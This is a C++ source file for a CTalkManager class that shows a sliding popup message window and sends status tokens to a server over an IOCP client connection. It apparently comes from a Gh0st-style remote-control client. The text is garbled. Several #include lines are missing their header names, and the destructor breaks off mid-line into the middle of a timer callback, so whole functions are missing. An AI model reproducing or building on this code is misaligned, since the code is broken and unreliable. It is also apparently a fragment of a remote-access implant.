// TalkManager.cpp: implementation of the CTalkManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "TalkManager.h" #include "Common.h" #include "resource.h" #include #include #pragma comment(lib, "WINMM.LIB") using namespace std; #define ID_TIMER_POP_WINDOW 1 #define ID_TIMER_DELAY_DISPLAY 2 #define ID_TIMER_CLOSE_WINDOW 3 #define WIN_WIDTH 120 #define WIN_HEIGHT 120 ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// char g_Buffer[0x1000] = {0}; UINT_PTR g_Event = 0; IOCPClient* g_IOCPClientObject = NULL; extern HINSTANCE g_hInstance; CTalkManager::CTalkManager(IOCPClient* ClientObject, int n):CManager(ClientObject) { BYTE bToken = TOKEN_TALK_START; //包含头文件 Common.h m_ClientObject->OnServerSending((char*)&bToken, 1); g_IOCPClientObject = ClientObject; WaitForDialogOpen(); } CTalkManager::~CTalkManager() { cout<<"Talk 析构"<=0) { Height-=5; MoveWindow(hDlg, x,y-Height, WIN_WIDTH, Height,TRUE); } else { KillTimer(hDlg,ID_TIMER_CLOSE_WINDOW); BYTE bToken = TOKEN_TALKCMPLT; // 包含头文件 Common.h g_IOCPClientObject->OnServerSending((char*)&bToken, 1); // 发送允许重新发送的指令 EndDialog(hDlg,0); } break; } case ID_TIMER_DELAY_DISPLAY: { KillTimer(hDlg,ID_TIMER_DELAY_DISPLAY); g_Event = ID_TIMER_CLOSE_WINDOW; SetTimer(hDlg,g_Event, 5, NULL); break; } case ID_TIMER_POP_WINDOW: { if(Height<=WIN_HEIGHT) { Height+=3; MoveWindow(hDlg ,x, y-Height, WIN_WIDTH, Height,TRUE); } else { KillTimer(hDlg,ID_TIMER_POP_WINDOW); g_Event = ID_TIMER_DELAY_DISPLAY; SetTimer(hDlg,g_Event, 4000, NULL); } break; } } }